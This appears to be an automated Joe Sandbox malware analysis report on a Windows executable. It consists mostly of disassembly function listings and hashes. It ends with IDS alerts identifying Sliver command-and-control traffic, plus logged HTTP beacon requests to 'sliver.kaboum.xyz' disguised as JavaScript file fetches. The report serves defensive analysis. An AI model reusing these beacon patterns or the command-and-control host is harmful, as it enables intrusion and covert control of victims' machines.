Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: called `Result::unwrap()` on an `Err` value$capacity overflow
API String ID: 3510742995-2618782069
Opcode ID: 489677ed690919efb9215dc583a61e991ac48fbc5ebaf1a6a18b5310ff3aaa81
Instruction ID: f7e77d667537a5bea5cd76820e49a0ea7620751aa4e1f9011f874e02b8bcc404
Opcode Fuzzy Hash: 489677ed690919efb9215dc583a61e991ac48fbc5ebaf1a6a18b5310ff3aaa81
Instruction Fuzzy Hash: BD51A262B5866296EA249F12DD003BD2751FB04BDCF4C843AEE2DA7795DFBCE0919300

Function 00007FF652E7B6E1 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E7B19E
memcpy.MSVCRT ref: 00007FF652E7B804
memcpy.MSVCRT ref: 00007FF652E7B83C
memcpy.MSVCRT ref: 00007FF652E7B8C8
memcpy.MSVCRT ref: 00007FF652E7B900
memcpy.MSVCRT ref: 00007FF652E7BB1D
memcpy.MSVCRT ref: 00007FF652E7BB4C
memcpy.MSVCRT ref: 00007FF652E7BB73
memcpy.MSVCRT ref: 00007FF652E7BE70

Strings

httpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF652E7B6FF

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: httpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs
API String ID: 3510742995-4070119228
Opcode ID: de4794c01619455e86832a2cbdacfbd5cd1782c0ea9984d421255271f8383148
Instruction ID: de4023359e7e8cf47efb281909ad58121a524d3d53e30d8605e953be0e17c857
Opcode Fuzzy Hash: de4794c01619455e86832a2cbdacfbd5cd1782c0ea9984d421255271f8383148
Instruction Fuzzy Hash: C1513E3261CBD181EA60CB15E8543EAA7A1FB95784F48403ADB8DA7B9ACF7CE505C700

Function 00007FF652E7B745 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E7B19E
memcpy.MSVCRT ref: 00007FF652E7B804
memcpy.MSVCRT ref: 00007FF652E7B83C
memcpy.MSVCRT ref: 00007FF652E7B8C8
memcpy.MSVCRT ref: 00007FF652E7B900
memcpy.MSVCRT ref: 00007FF652E7BB1D
memcpy.MSVCRT ref: 00007FF652E7BB4C
memcpy.MSVCRT ref: 00007FF652E7BB73
memcpy.MSVCRT ref: 00007FF652E7BE70

Strings

httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF652E7B75F

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs
API String ID: 3510742995-2872386097
Opcode ID: a70e95590031313f3a20925cfef590a7036fe61b032f19f43da0a297f4c64276
Instruction ID: 460d2d9c3d4d32da9d78b65b3a7db605d6fac546d7757aac50b7a3d44935da8c
Opcode Fuzzy Hash: a70e95590031313f3a20925cfef590a7036fe61b032f19f43da0a297f4c64276
Instruction Fuzzy Hash: 11513D3261CBD181EA60CB15E8543EAA7A1FB95784F48403ADBCDA7B9ACF7CE505C700

Function 00007FF652EF3E70 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF652EF3EEE
RtlUnwindEx.KERNEL32 ref: 00007FF652EF3F0C
abort.MSVCRT ref: 00007FF652EF3F12
abort.MSVCRT ref: 00007FF652EF3F30

Part of subcall function 00007FF652EF3E30: RaiseException.KERNEL32 ref: 00007FF652EF3E5B

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: abort$CaptureContextExceptionRaiseUnwind
String ID:
API String ID: 4122134289-0
Opcode ID: 1bf87dae2831a8f8c0b67edcd293b2d830e310b86f215ea39f0da338e96bfd19
Instruction ID: 57f64d8a919bee7938c6afb51e605e7ddfde35b1977302a5375d1ce0b54bf25e
Opcode Fuzzy Hash: 1bf87dae2831a8f8c0b67edcd293b2d830e310b86f215ea39f0da338e96bfd19
Instruction Fuzzy Hash: 2D118132918AC581E7249F25E8003EAB771FB98B88F185235EB8D63659DFB8D591C700

Function 00007FF652EDDFAE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32 ref: 00007FF652EDDFC6
CloseHandle.KERNEL32 ref: 00007FF652EDDFCE

Strings

s [... omitted frame ...], xrefs: 00007FF652EDE14B

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: CloseFileHandleUnmapView
String ID: s [... omitted frame ...]
API String ID: 2381555830-3732609013
Opcode ID: 358e807ea29fbcae15debff036a17f9d5660b2234517226cdd3b4c3cf3f54b9f
Instruction ID: 48462df06fc7c045578fbe62822bb82f83bca22c0121e784141d1f985bb031f3
Opcode Fuzzy Hash: 358e807ea29fbcae15debff036a17f9d5660b2234517226cdd3b4c3cf3f54b9f
Instruction Fuzzy Hash: E5516D72A09B9589EB21CF25E8403ED37A0FB44B98F48403AEE4E97B95DF78D585C340

Function 00007FF652EF4390 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF652EF4410

Strings

Unknown error, xrefs: 00007FF652EF447C
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF652EF43F7

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 4867502c6053e2440e593faf7c1549f9f529994c9262083292dfb68a323095cb
Instruction ID: 7a3e9ebf528b3e5d805b0095aee8fd6b3678a53420803b49cfe9786aef75dacc
Opcode Fuzzy Hash: 4867502c6053e2440e593faf7c1549f9f529994c9262083292dfb68a323095cb
Instruction Fuzzy Hash: 97017062D0CF9482E6018F18AC401BB7370FBAE74DF599335EB8C66125DF68E682C700

Function 00007FF652EF4430 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF652EF4410

Strings

Argument domain error (DOMAIN), xrefs: 00007FF652EF4430
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF652EF43F7

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 0c8b60dba2f74f2e6816499f1e0b43da66dc21129365b5538ddacaf09d1b345e
Instruction ID: e00a0c843be6f65306439cbf0e19b7a2fd6cb8ea771a988403dbbf0f43f15076
Opcode Fuzzy Hash: 0c8b60dba2f74f2e6816499f1e0b43da66dc21129365b5538ddacaf09d1b345e
Instruction Fuzzy Hash: 60F04F12908E9482E2028F18B8000AB7330FB9D78CF599339EB8D7A555DF68E5828700

Function 00007FF652EF43C8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF652EF4410

Strings

Argument singularity (SIGN), xrefs: 00007FF652EF43C8
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF652EF43F7

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 79519b8be83ec6acd696b04a0b5484a1e7c670029a96202e03e916e1638d2e15
Instruction ID: bf6639a87c50320da9f8ab0df9f1e7f67af40f2900297fd6418bf1bf5f127701
Opcode Fuzzy Hash: 79519b8be83ec6acd696b04a0b5484a1e7c670029a96202e03e916e1638d2e15
Instruction Fuzzy Hash: 01F01252948E9482E6029F18A8401AB7330FB9D79DF599325EF8D7A515DF68E5828700

Function 00007FF652EA97DE Relevance: 5.3, APIs: 4, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bb5152cc54aa3991cffc2618da4654e0869d63d08d845f4a7984ba14b313182
Instruction ID: 6e17ace137e74ae2439d477cdcbc5689db244731ebad52f6220e9af26ddbf7e0
Opcode Fuzzy Hash: 0bb5152cc54aa3991cffc2618da4654e0869d63d08d845f4a7984ba14b313182
Instruction Fuzzy Hash: 62E17732A09BD185E7608B24E8843EEB3A4FB98744F494129DBDD93B56EF7CE195C700

Function 00007FF652EA97D7 Relevance: 5.2, APIs: 4, Instructions: 249COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EA9B07
memcpy.MSVCRT ref: 00007FF652EA9B25

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b6f1b1b5937787d3e5bc0161d45ee4b61861bf65209a7cd92a2fcd6de120498f
Instruction ID: bdead846e3bcbe44cf08e944d15184a2ba75c6d934c9261374acf171c9f3cec0
Opcode Fuzzy Hash: b6f1b1b5937787d3e5bc0161d45ee4b61861bf65209a7cd92a2fcd6de120498f
Instruction Fuzzy Hash: 24D16932A09BD185E7608B24E8843EEB3A4FB98344F495129DBDD93B56EF7CE195C700

Function 00007FF652EAD4F9 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EAD578
memcpy.MSVCRT ref: 00007FF652EAD618

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 161bea87b1c82d46284024defb4c6e6adff15054e7a53fe9f0dc2fa8ae16dd73
Instruction ID: 1f1608da461777555aba77be8538cadd8a62377ca8152fda78aed84973d57763
Opcode Fuzzy Hash: 161bea87b1c82d46284024defb4c6e6adff15054e7a53fe9f0dc2fa8ae16dd73
Instruction Fuzzy Hash: 64314903B0C6D151E7329A21B9103AFAF61A75A7D8F4C8025DF896B786DEBDD256C700

Function 00007FF652EB9AB0 Relevance: 5.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,00000000,?,00007FF652E34804), ref: 00007FF652EB9ADB
TlsGetValue.KERNEL32(?,?,00000000,?,00007FF652E34804), ref: 00007FF652EB9B0A
TlsSetValue.KERNEL32(?,?,00000000,?,00007FF652E34804), ref: 00007FF652EB9B4A
TlsSetValue.KERNEL32(?,?,00000000,?,00007FF652E34804), ref: 00007FF652EB9B6D

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 21283fd53670a05355a11f680566da44c8bd597e08584e710fbe1f415d3a8f3d
Instruction ID: a8e13141a4b096b0ff68efbfc89a14fc393157e00546358db5ba5f9de2a1ea60
Opcode Fuzzy Hash: 21283fd53670a05355a11f680566da44c8bd597e08584e710fbe1f415d3a8f3d
Instruction Fuzzy Hash: CD21F821F0DBA795FE189B25ECE01792361AF44B48B4C403CD90EE77A5DEACE9418B04

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E71FE7 DecryptMessage,	0_2_00007FF652E71FE7
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E707BC EncryptMessage,	0_2_00007FF652E707BC
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E6F6DB DecryptMessage,	0_2_00007FF652E6F6DB
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E6F6E0 EncryptMessage,	0_2_00007FF652E6F6E0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E71FE7 DecryptMessage,	0_2_00007FF652E71FE7
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E707BC EncryptMessage,	0_2_00007FF652E707BC

Source: Network traffic	Suricata IDS: 2852653 - Severity 1 - ETPRO MALWARE Sliver HTTP SessionInit Request : 192.168.2.4:49737 -> 51.44.82.197:443
Source: Network traffic	Suricata IDS: 2852723 - Severity 1 - ETPRO MALWARE Sliver HTTP SessionInit Response : 51.44.82.197:443 -> 192.168.2.4:49737

Source: Joe Sandbox View	ASN Name: ATGS-MMD-ASUS ATGS-MMD-ASUS
Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR

Source: global traffic	HTTP traffic detected: POST /oauth2/oauth/db/oauth2callback/namespaces/api/api.html?gu=58741670&n=232c3364x9 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Content-Length: 355Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/jscript/app.min.js?_=76p52a0964 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: POST /db/db/oauth/oauth/database/api.php?f=5251i7520 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Content-Length: 1602Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script.js?f=720f81321 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/javascripts/javascripts/javascripts/array.js?p=4984414 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /umd/script/umd/script/javascripts/backbone.js?a=7711n8412 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/backbone.js?_=35188464 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/js/app.min.js?g=62721655 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/javascript/javascript/javascripts/js/script.js?o=y8t4764415 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/javascript/app.min.js?h=603b2h1231 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /backbone.js?b=70351513 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/javascripts/js/js/script/app.min.js?q=8_04158u45 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/script.js?i=9g6924310 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/app.min.js?q=13c091045 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
